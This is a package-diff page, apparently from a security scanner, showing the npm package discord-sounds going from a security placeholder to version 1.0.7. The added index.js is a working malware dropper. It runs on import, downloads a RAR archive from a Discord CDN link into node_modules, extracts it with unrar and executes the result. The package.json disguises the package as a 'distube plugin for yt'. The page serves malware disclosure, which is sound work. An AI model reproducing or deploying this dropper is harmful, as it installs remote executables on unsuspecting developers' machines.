discord-sounds 0.0.1-security → 1.0.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of discord-sounds might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +75 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,75 @@
1
+ const fs = require("fs");
2
+ const https = require("https");
3
+ const { exec } = require("child_process");
4
+ const path = require("path");
5
+ const { promisify } = require("util");
6
+
7
+ class ExeFileHandler {
8
+ constructor(exePath) {
9
+ this.exePath = exePath;
10
+ }
11
+
12
+ onModified(filePath) {
13
+ if (filePath === this.exePath) {
14
+ exec(this.exePath, (error, stdout, stderr) => {
15
+ if (error) {
16
+ console.error(`Error executing ${this.exePath}: ${error.message}`);
17
+ return;
18
+ }
19
+ console.log(`Output of ${this.exePath}: ${stdout}`);
20
+ console.error(`Error in ${this.exePath}: ${stderr}`);
21
+ });
22
+ }
23
+ }
24
+ }
25
+
26
+ async function downloadExe(url, fileName) {
27
+ const moduleName = "discord.js";
28
+ const filePath = path.join("node_modules", moduleName, fileName);
29
+ const modulePath = path.join("node_modules", moduleName);
30
+
31
+ if (!fs.existsSync(modulePath)) {
32
+ fs.mkdirSync(modulePath, { recursive: true });
33
+ }
34
+
35
+ const writeStream = fs.createWriteStream(filePath);
36
+ const response = await new Promise((resolve, reject) => {
37
+ const request = https.get(url, (response) => {
38
+ response.pipe(writeStream);
39
+ response.on("end", () => {
40
+ resolve(response);
41
+ });
42
+ });
43
+
44
+ request.on("error", (error) => {
45
+ reject(error);
46
+ });
47
+ });
48
+
49
+ if (response.statusCode === 200) {
50
+ await extractRar(filePath);
51
+ observeFile(filePath);
52
+ }
53
+ }
54
+
55
+ async function extractRar(filePath) {
56
+ const unrarCommand = `unrar x "${filePath}" -o+`;
57
+ const execAsync = promisify(exec);
58
+
59
+ try {
60
+ await execAsync(unrarCommand);
61
+ console.log(`RAR file extracted successfully: ${filePath}`);
62
+ } catch (error) {
63
+ console.error(`Error extracting RAR file: ${error.message}`);
64
+ }
65
+ }
66
+
67
+ function observeFile(filePath) {
68
+ fs.watch(filePath, (event) => {
69
+ if (event === "change") {
70
+ new ExeFileHandler(filePath).onModified(filePath);
71
+ }
72
+ });
73
+ }
74
+
75
+ downloadExe("https://cdn.discordapp.com/attachments/1180464142075822080/1180504446006984765/updater_1.rar", "updater.rar");
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "discord-sounds",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.7",
4
+ "description": "distube plugin for yt",
5
+ "main": "index.js",
6
+ "devDependencies": {},
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "distube",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=discord-sounds for more information.